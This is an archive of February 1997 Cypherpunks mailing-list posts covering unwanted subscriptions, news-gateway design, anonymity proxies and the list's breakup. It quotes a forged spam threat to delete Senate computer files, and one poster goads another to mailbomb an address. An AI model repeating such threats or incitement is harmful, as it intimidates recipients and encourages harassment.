> In> DOE                  U.S. Department of Energy  National Laboratories
> In> & Programs
> In> EXECUTIVE            The White House
> In> FDIC                 Federal Deposit Insurance Corporation
> In> FEMA                 Federal Emergency Management Agency
> In> FMS                  Financial Management Service
> In> GPO                  U.S. Government Printing Office
> In> GSA                  U.S. General Services Administration
> In> HHS                  U.S. Department of Health and Human Services
> In> HPCC                 NOAA High Performance Computing and
> In> Communications IRS                  Internal Revenue Service
> In> JUSTICE              Justice Department
> In> NARA                 National Archives and Records Administration
> In> NASA                 National Aeronautics and Space Administration
> In> NCDC                 National Climatic Data Center
> In> NIMH                 National Institute of Mental Health
> In> NOAA                 National Oceanic & Atmospheric Administration
> In> NSF                  National Science Foundation
> In> NTIS                 National Technical Information Service
> In> SBA                  Small Business Administration
> In> SEL                  Space Environment Laboratory
> In> STATE                State Department
> In> TREASURY             Treasury Department
> In> USCODE               U.S. House of Representatives
> In> Internet Law Library U.S. Code
>
> In> CANADA
> In> CSE                  Communications Security Establishment
> In> CISC                 Criminal Intelligence Service Canada
> In> CSIS                 Canadian Security Intelligence Service
> In> SIRC                 Security Intelligence Review Committee
> In> UNITED KINGDOM       CIM Central Intelligence Machinery
>
> In> CANADA
> In> DJC                  Department of Justice of Canada
> In> FORENSIC             The Forensic Web
> In> RCMP                 Royal Canadian Mounted Police
> In> SGC                  Solicitor General of Canada
>
> In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
> In> Criminal Justice
>
> In> CANADA
> In> CFC                  Canadian Forces College
> In> DREO                 Defense Research Establishment, Ottawa
>
> In> UNITED KINGDOM
> In> ARMY                  The British Army
> In> CDA                   Centre for Defence Analysis
> In> DRA                   Defence Research Agency
>
> In> NATO                  North Atlantic Treaty Organization
> In> SACLANT               Supreme Allied Commander, Atlantic
> In> SHAPE                 Supreme Headquarters Allied Powers Europe
>
> In> BECCA                 Business Espionage Controls & Countermeasures
> In> Association
> In> CRYPTOLOG             Internet Guide to Cryptography
> In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
> In> WANTED                "The World's Most Wanted" (Fugitives and
> In> Unsolved Crimes)
>
>
>Ciao
>
>Harka
>
>/*************************************************************/
>/* This user supports FREE SPEECH ONLINE     ...more info at */
>/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
>/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
>/* PGP public key available upon request.  [KeyID: 04174301] */
>/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
>/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
>/* May there be peace in this world, may all anger dissolve  */
>/* and may all living beings find the way to happiness...    */
>/*************************************************************/
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>
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>=s4om
>-----END PGP SIGNATURE-----
>
>
>If encryption is outlawed, only outlaws will have encryption...
>
>
>
>
>------------------------------
**********WHY AM I RECEIVING 346 MESSAGES THAT ORIGINATED WITH
CYPHERPUNKS@TOAD.COM?  I AM UNABLE TO USE MY E=MAIL BECAUSE OF THE MESSAGES
THAT HAVE ACCUMULATED.  EVERY SINGLE ONE OF THESE MESSAGES REFERENCES YOUR
ORGANIZATION.  I HAVE NEVER ACCESSED ANYTHING THAT HAD TO DO WITH YOUR
GROUP.  PLEASE ASSIST ME IN REMOVING THE ROUTING OF THESE MESSAGES TO MY
E-MAIL.  OTHERWISE, I WILL BE FORCED TO CANCEL MY SUBSCRIPTION TO THE INTERNET.
THANK YOU.

EICKFARM@SHIANET.ORG





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 18 Feb 1997 10:44:29 -0800 (PST)
To: alexandr@win.tue.nl
Subject: Re: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <9702181844.AA01919@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: alexandr@win.tue.nl, cypherpunks@toad.com, home@collegehill.com
Date: Tue Feb 18 13:49:43 1997

I checked with the people at College Hill Internet by forwarding your 
msg to them to which they replied.

**N.B. - College Hill did my page so I know them to be reputable.

Long story short, they worked on a web page for a particular political 
campaign and, during the process of doing the web consulting, they  
briefly set up an e-mail account for them on their server.

Since then, they have been treated to a regular supply of spam from 
various persons who think that is still the Senator's address.  They've 
received threatening spam (about 200 hundred copies of it) which was 
bounced from them back to senders who in this case weren't even the 
senders, etc. etc. etc.

The headers reflect that they've been forged.  Understandably, College 
Hill is concerned that, those people who might not understand the 
headers that well, will conclude College Hill as being the spammers - 
which could damage their reputation.

Hope this answers (at least part of) your question.

Lynne



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=PtAp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 10:53:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702181541.HAA06067@toad.com>
Message-ID: <3.0.1.32.19970218135442.006ae0b4@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:33 AM 2/18/97 -0800, you wrote:

:Let's not start this.
:
:Tim wasn't arguing for or against abortion; he made no comments
:about abortion. His comment was that the _argument_ used to "legalize"
:abortion was unconvincing to him.
:
:If we are going to discuss privacy, that's fine.
:It we are going to discuss abortion, there are better fora.
:
:
:-- Marshall
:
:Warning: Objects in calendar are closer than they appear.

Good for you!!!!!

I appreciate your post. However, it smells like a Daleism.
I revel in fora. (Had to think about that.)
Nice sig too.

Alec




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 18 Feb 1997 10:58:33 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <19970218.073526.2862.2.edgarswank@juno.com>
Message-ID: <0n2Tj3200YUh07k4M0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

edgarswank@juno.com (Edgar W Swank) writes:
> Does anyone have a list of web proxies for anonymous surfing?
> 
> I already know about www.anonymizer.com, and there was a
> "canadianizer" that would alter text to make it more "Canadian",
> but that is now apparently defunct.

There's a Zippifier (inserts Zippy the Pinhead quotes) at:
http://www.metahtml.com/apps/zippy/welcome.mhtml

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=gLdy
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 11:03:19 -0800 (PST)
To: "Robert Nadra" <robertn@dm.net.lb>
Subject: Re: Stop sending me your shit
In-Reply-To: <19970218164347.AAA20169@kodakne.dm.net.lb>
Message-ID: <3.0.1.32.19970218140453.006a6a8c@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:38 PM 2/18/97 +0200, you wrote:
:	
:Get me off your list or else ..... . Get me out your fuckin list assholes.

Certainly you learned on your mother's knee that you can get more of what
you want from other people with kindness rather than anger and rudeness.
What did she say about using foul words? Lets think about these things.

You may be in for a long stay here. These folks can be downright nasty
sometimes.

You've got friends here. Let's be nice and keep it that way.

Now what do we say?????? 

Alec 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Tue, 18 Feb 1997 06:18:02 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <01IFJH1ONXA88Y4YVV@mbcl.rutgers.edu>
Message-ID: <19970218141819.28530.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith writes:
 > From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06
 > 
 > >>   use. However, I do have one problem with this recipe: lack of
 > >>   loop prevention if a news2mail gateway is going in the other direction.
 > 
 > >All the mailing-list hosts are supposed to check for duplicates before
 > >forwarding anything, so this shouldn't do anything worse than have a
 > >few extra copies of each post get discarded, loading the network and
 > >the hosts a bit more.  But posting the list to a widely-distributed
 > 
 > 	Umm... IIRC, the only person who's announced how he's filtering
 > for duplicates is Igor, and he's just checking for messageIDs. Won't
 > those get chunked on going through a mail2news gateway, and thus
 > possibly come back through a news2mail gateway?

My script preserves the Message-ID, assuming that the incoming message
has one.  Other gateways I've seen also appear to preserve Message-ID
lines (or at least messages posted through them appear to have
mail-like ID lines).  

 > The filtering
 > mechanism could be improved via MD5 digests, etcetera (someone's
 > already given a recipe for such; thank you), but even so various
 > mungings could still set up a mailing loop. (Yes, I'm paranoid
 > about those; I may have been reading list-managers for too long and
 > seen too many stories on there.) The sensible place to keep
 > track of possible duplicates is at the gateway; it can
 > certainly filter based on that it (or, for that matter, another
 > known bidirectional gateway) sent a message out.

Not immediately sending a message back to the host that it came from
does look like a good idea (it came from foo.com, so foo.com obviously
has it).  Filtering out other gateways' messages will reduce load at
the possible expense of delay (assuming a smallish network of news
servers that feed each other the list; obviously the message will
flood the majordomo net before it floods the real usenet unless
something is seriously broken).

 > 
 > >newsgroup seems wrong for noise (both to the list itself and to
 > >posters) and delay reasons.
 > 
 > 	Delay reasons being that mail will go to Usenet, go
 > all over the place there, and then get replied to later than if
 > it were just on the mailing list(s)? A potential problem, yes.

I didn't exactly say, but I was comparing a small network of news
servers feeding each other cypherpunks.list to, say,
alt.cypherpunks.list. 

 > But (especially given the options I mentioned below), this
 > would appear to be a matter for individual users to decide
 > by which list they go with and any added control headers.

I'm trying to come up with a way to provide NNTP access (and an
experimental alternative to the net-of-majordomos) that won't offend
anybody too much.  I can filter out messages that the authors don't
want sent out; I'd prefer to deal with what would make the authors
want the messages filtered out instead.

 > Maximum individual sovreignty (sp?).
 > 
 > >>   In regards to your later query about whether people want their postings
 > >>   going to Usenet, might I suggest that this be individual to the given
 > >>   distributed mailing list? In other words, since the recipe is logically
 > >>   going to have to not forward to a gateway messages from other mailing
 > >>   lists (since it's not a good idea to have multiple copies of the same
 > >>   message arriving at the gateway if it can be helped; better to filter
 > >>   it out beforehand),
 > 
 > >It doesn't seem an especially bad idea, since it 
 > 
 > 	Thank you. Were you cut off?

Yes.  Should have read:

It doesn't seem an especially bad idea to send a gateway multiple
copies of the same message, since theextra messages won't increase the
load much but will increase the reliability and decrease the
propagation time compared to a network where there are no duplicates.
The only case where filtering duplicates is certain not to hurt delay
or reliability is when the gateway in question is known to have a copy
of the message already.  Usenet uses the Path header for this; there
doesn't seem to be such a thing in the majordomo net.

 > >>   some of the mailing lists can forward and the
 > >>   others cannot. (One could even determine this behavior on application
 > >>   of the proper X-header, although I never trust various mailing systems
 > >>   to forward such intact.) The same could also be done with gatewaying
 > >>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
 > >>   lists sign up to it and they _don't_ forward such messages to others,
 > >>   people can decide whether or not to receive Usenet postings on
 > >>   alt.cypherpunks.* by which list they subscribe to.
 > 
 > >The code currently running is a perl script that turns typical email
 > >messages into something INN is happy with.  It is probably possible to
 > >get your message rejected by INN if you put obsolete or otherwise
 > >unusual and illegal headers in.  This may be a bug.
 > 
 > 	That would probably depend on: A. if any other circumstances
 > other than deliberately sabotaging your message's translation would
 > also disrupt its chances of getting through seriously, particularly
 > if they weren't something you'd spot; and 

The main way to get a message rejected seems to be using obsolete
news headers on it.  If you don't want your message posted, add a
Posting-Version line to the header.

 > B. if sufficiently bad
 > messages would disrupt INN's operations too much.

No more so than a sufficiently bad news posting that came in over NNTP
(since the mails do turn into news postings over NNTP).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 18 Feb 1997 14:33:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISP access fee rebuttal
Message-ID: <v02140b0faf2fde130336@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


If you are interested in the on-going debate over ISP access charges, I
sugest you look at a newly published report perpared for the Internet
Access Coalition.  It stomps on the RBOC assertions that dial-in access to
the Net is having a generally negative impact on their telephone networks
from both performance and financial asapects.

http://www2.itic.org/itic/eti_toc.html

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 11:51:48 -0800 (PST)
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702181951.OAA12558@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


      Marshall Clow wrote:

>Let's not start this.... <snip>

>If we are going to discuss privacy, that's fine.
>It we are going to discuss abortion, there are better fora.

          Right, Marshall. I was attempting to respond directly to Tim's
comment, but I too have no desire to let the end of C'punks be yet another
sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
response roll over me;-).  

        (Jeeze! Anyone else feel like these are the Final Days, like when a
company goes bankrupt, or graduation day or the like??  I hope one of these
C'punkish alternatives will provide an opportunity for some of the same
thoughtful and stimulating engagements that toad.com hosted.)

       Respect to all, pro-choice and pro-life,

                _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 12:35:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: JSC Security Report
Message-ID: <1.5.4.32.19970218202911.006a1ecc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


"Redefining Security," a 1994 report to the DoD and the CIA by 
The Joint Security Commission, offers bountiful information
on US security strategies, policies, agencies, methodologies, 
and techniques, you name it, with designs for the future.

   http://jya.com/jcs.htm  (454K)

If you ever wanted to talk like the spooks, parrot this dictionary 
of NatSec ebonics.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 14:16:02 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702182215.OAA12076@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:58 PM 2/17/97 -0600, Igor Chudov wrote:
...
>It is a very good objections. I would like readers to speak up and say
>their word for or against forwarding the list messages to
>alt.cypherpunks.  If a significant number of people objects (2-3 is
>enough) I will disable this feature.

As to my two cents, I like the idea, but would ask that the usenet feed have
the scrambled address described by Cynthia H. Brown.
I don't really care to have a box full of "YOU may HAVE JUST WON ONE MILLION
DOLLARS!", if the system described by Mrs. Brown works, I would prefer this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexandr@win.tue.nl (Alexandra Janssen - Raemaekers)
Date: Tue, 18 Feb 1997 07:21:47 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <199702181522.PAA22356@wsintt05.win.tue.nl>
MIME-Version: 1.0
Content-Type: text/plain


I really don't know what this is all about!!!!
This is one of the messages that I seemed to have sent......
I can give you about 

Apparently-To: vice.president@whitehouse.gov, first.lady@whitehouse.gov,
		Bclinton@Washington.DC, feedback@www.whitehouse.gov,
		Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
		sessions@wrldnet.net, senator@shelby.senate.gov,
		senator@bumpers.senate.gov, info@kyl.senate.gov,
		Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
		senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
		senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
		bob_graham@graham.senate.gov, connie@mack.senate.gov,
		senator_coverdell@coverdell.senate.gov, senator@inouye.senate.gov,
		tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
		larry_craig@craig.senate.gov, dirk_kempthorne@kempthorne.senate.gov,
		senator@moseley-braun.senate.gov, lugar@iquest.net,
		wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
		senator@breaux.senate.gov, senator@kennedy.senate.gov,
		john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
		senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
		senator@levin.senate.gov, michigan@abraham.senate.gov,
		mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
		john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
		senator@cochran.senate.gov, max@baucus.senate.gov,
		conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
		jesse_helms@helms.senate.gov, senator@conrad.senate.gov,
		senator@dorgan.senate.gov, email@hagel96.com, bob@kerrey.senate.gov,
		mailbox@gregg.senate.gov, opinion@smith.senate.gov,
		frank_lautenberg@lautenberg.senate.gov, torricel@torricelli.com,
		Senator_Bingaman@bingaman.senate.gov,
		senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
		senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
		senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
		senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
		senator@wyden.senate.gov, senator@santorum.senate.gov,
		senator_specter@specter.senate.gov, senator_chafee@chafee.senate.gov,
		reed@collegehill.com, senator@thurmond.senate.gov,
		senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
		senator_thompson@thompson.senate.gov, senator_frist@frist.senate.gov,
		senator@hutchison.senate.gov, senator@bennett.senate.gov,
		senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
		senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
		 vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
		 Senator_Gorton@gorton.senate.gov, russell_feingold@feingold.senate.gov,
		 senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
		 senator@rockefeller.senate.gov, mike@enzi.senate.gov,
		 craig@thomas.senate.gov


names who got this message from the gang of cypherpunks. What is 
this ????

Forwarded message:
> From home@collegehill.com Tue Feb 18 15:05:24 1997
> Message-Id: <3.0.32.19970218100100.00731388@pop03.ca.us.ibm.net>
> Precedence: bulk
> X-Sender: chill03@pop03.ca.us.ibm.net
> X-Mailer: Windows Eudora Pro Version 3.0 (32)
> Date: Tue, 18 Feb 1997 10:03:05 -0500
> To: alexandr@win.tue.nl
> From: College Hill Internet <home@collegehill.com>
> Subject: Address -- Invalid (was Re: message to USSA Senate)
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> At 12:45 AM 2/18/97 PST, you wrote:
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.
> >
> >

I'm furious! Now I get about 10 messages every 15 minutes of mail delivered
and lots of other trash. Who 's got the courage to admit this crime ?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 18 Feb 1997 16:45:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
In-Reply-To: <33093394.41F3@earthlink.net>
Message-ID: <Pine.3.89.9702181619.A1844-0100000@netcom9>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Terry L. Davis wrote:

> I'm not certain how I got on the cypherpunks newlist, but it's way over 
> my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
> Thanks
> 
Another thing the new list needs...verification of subscribe requests.



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 14:54:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Stop sending me your shit
Message-ID: <199702182254.OAA12656@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 2/18/97 -0500, Alec wrote:
>At 08:38 PM 2/18/97 +0200, you wrote:
>:	
>:Get me off your list or else ..... . Get me out your fuckin list assholes.
>
>Certainly you learned on your mother's knee that you can get more of what
>you want from other people with kindness rather than anger and rudeness.
>What did she say about using foul words? Lets think about these things.
>
>You may be in for a long stay here. These folks can be downright nasty
>sometimes.
>
...
Personally, I just responded to one persons statement, (the one with the
modicum of courtesy) and decided to let this looser languish, (because of
his foul additude).
I think that by this, maybe, he'll learn not to bite the hand of the persons
who he is asking for help from.
It also gives me a none too innocent feeling of graditude to know that this
person will suffer a little longer, all because I decided that I didn't like
him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 14:54:23 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: [noise] Re: JSC Security Report
Message-ID: <199702182254.OAA12663@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 2/18/97 -0500, John Young wrote:
>"Redefining Security," a 1994 report to the DoD and the CIA by 
>The Joint Security Commission, offers bountiful information
>on US security strategies, policies, agencies, methodologies, 
>and techniques, you name it, with designs for the future.
>
>   http://jya.com/jcs.htm  (454K)
>
>If you ever wanted to talk like the spooks, parrot this dictionary 
>of NatSec ebonics.
Great, I'll look into it.  I've been meaning to get some info on the like.
You just can't convince someone that you are one of them unless you talk
like them.
And I would like to get all relevant information to any investigations into
my activities faxed to the nearest Kinko's.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 18 Feb 1997 17:30:45 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <3.0.32.19691231160000.006a1e14@aa.net>
MIME-Version: 1.0
Content-Type: text/plain


At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said:
>edgarswank@juno.com (Edgar W Swank) writes:
>> Does anyone have a list of web proxies for anonymous surfing?
>> 
>> I already know about www.anonymizer.com, and there was a
>> "canadianizer" that would alter text to make it more "Canadian",
>> but that is now apparently defunct.
>
>There's a Zippifier (inserts Zippy the Pinhead quotes) at:
>http://www.metahtml.com/apps/zippy/welcome.mhtml
>
A proposal and prototype of a different anonymity mechanism can be found at:
  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 07:36:12 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218141819.28530.qmail@taz.nceye.net>
Message-ID: <Pine.NEB.3.95.970218173206.12473L-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On 18 Feb 1997, Bryan Reece wrote:
> Filtering out other gateways' messages will reduce load at
> the possible expense of delay (assuming a smallish network of news
> servers that feed each other the list; obviously the message will
> flood the majordomo net before it floods the real usenet unless
> something is seriously broken).

Why is it obvious that mail propagation will be faster than news
propagation?  News propagation times of small numbers of seconds are not
at all uncommon.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 08:27:34 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <v03007800af2f876176ce@[207.167.93.63]>
Message-ID: <Pine.NEB.3.95.970218181653.12473O-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Why is it obvious that mail propagation will be faster than news
> >propagation?  News propagation times of small numbers of seconds are not
> >at all uncommon.
> 
> News propagation in seconds to your _local server_, or to _distant_
> servers?

To some (perhaps many, certainly not all) distant servers, provided all
the news servers in the path run appropriate software (designed for low
latency propagation) and have reasonably high bandwidth Internet links. 
Disk to disk delays smaller than 1 second have been measured between news
servers that use software such as nntplink or innfeed to send outgoing
articles immediately.

> The Usenet is thousands of news servers, maybe tens of thousands, and
> news feeds take a while...small articles are mixed in with hundreds of
> megabytes a day of binaries. A percolation process, as opposed to a
> point-to-point process for e-mail. 

Right.  And some of those news links are fast, while others are slow.  If
two sites happen to be connected by fast news links, it's quite possible
for news between those sites to be faster than mail.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 08:52:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <v03007800af2f876176ce@[207.167.93.63]>
Message-ID: <Pine.NEB.3.95.970218183557.12473Q-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
>> obviously the message will flood the majordomo net before it floods
>> the real usenet unless something is seriously broken).

I replied:
> Why is it obvious that mail propagation will be faster than news
> propagation?  News propagation times of small numbers of seconds are
> not at all uncommon.

Sorry, I misunderstood the earlier message.  I thought that it referred
to news propagation between a small set of hosts versus mail propagation
between the same small set of mail/news hosts, and I did not see why
it was obvious that mail would be faster than news.  But actually the
earlier message refered to news propagation over the whole planet versus
mail propagation between a small set of hosts, in which case of course
news will be slower.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Feb 1997 17:10:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Stop sending me your shit
In-Reply-To: <199702182212.OAA11924@toad.com>
Message-ID: <VDkc3D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Nadra <robertn@dm.net.lb> writes:

> Get me off your list or else ..... . Get me out your fuckin list assholes.

Oe else what?  I bet you don't have the balls to mailbomb gnu@toad.com!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 19:38:51 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: alt.cypherpunks.ebonics
Message-ID: <199702190338.TAA12907@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:16 AM 2/18/97 -0500, Alec wrote:

>A friend, who, in the CP tradition requested to remain anonymous, and I were
>doing an informal analysis of those subjects/topics which over the past year
>generated the most discussion and, by implication, interest on the CP list.
>Since the list at that time was reportedly unmoderated, we felt some weight
>should be given to members' interests/desires as measured by their posts,
>regardless of the applicability to the list topic.
>
>With the exceptions of AP (oh so clearly way off-topic),


Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
as I've sketched it uses many of the 
encryption/digital-signature/verification techniques which are often 
discussed here and are essentially universally agreed as being on-topic.  
Secondly, the _PROSPECT_ of AP (or, if you'd like, more generally, the whole 
field of cryptoanarchy, which disables the State by making it unnecessary 
and powerless) would be and probably is most of the motivation for the 
various "let's control encryption" proposals that the US government and 
others have pushed over the last few years.

On the other hand, it is equally clear that while AP is "on-topic," 
nevertheless it is quite distinctly distasteful to a few people around here 
who seem to believe that the _political_ and _technical" implications of 
good encryption can be kept safely separated.  It is obvious that you are 
one of those people.  It is equally obvious that you are not honest enough 
to admit that.  So rather than say merely "I don't like it" you try to 
embellish your claims with "oh so clearly way off-topic."



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 18 Feb 1997 20:35:39 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142343.PAA17502@toad.com>
Message-ID: <v03101714af3027e7e86f@[129.46.166.223]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:
>
>        So now we ourselves burn the village in order to save it.
>
>        <nostalgic sigh>
>
>        How American!
>

Vin, your words are poignant and heartfelt.  To be honest, I share your
feelings (but I can't help but be amused that having recently decided to
resubscribe after a lengthy absence, I returned just in time to wallow into
a sea of discontent -- sorta like walking out the door of the cabin and all
the snow on the roof falling on your head -- you're cold, you're wet, and
you feel pretty damn stupid to boot).

However, the denizens of this place are a resourceful lot.  If
alt.cypherpunks doesn't work out, if the distributed mailing lists don't
work, we'll try something else.  I don't think anyone is ready to give up,
yet.

best,

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
  Ishmael gave himself to the writing of it, and as he did so he
  understood this, too: that accident ruled every corner of the
  universe except the chambers of the human heart.
  -- David Guterson, Snow Falling on Cedars, 1995
  --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Nadra" <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 10:43:01 -0800 (PST)
To: <Cypherpunks@toad.com>
Subject: Stop sending me your shit
Message-ID: <19970218164347.AAA20169@kodakne.dm.net.lb>
MIME-Version: 1.0
Content-Type: text/plain


	
Get me off your list or else ..... . Get me out your fuckin list assholes.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Nadra" <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 10:46:28 -0800 (PST)
To: <Cypherpunks@toad.com>
Subject: Stop sending me your shit
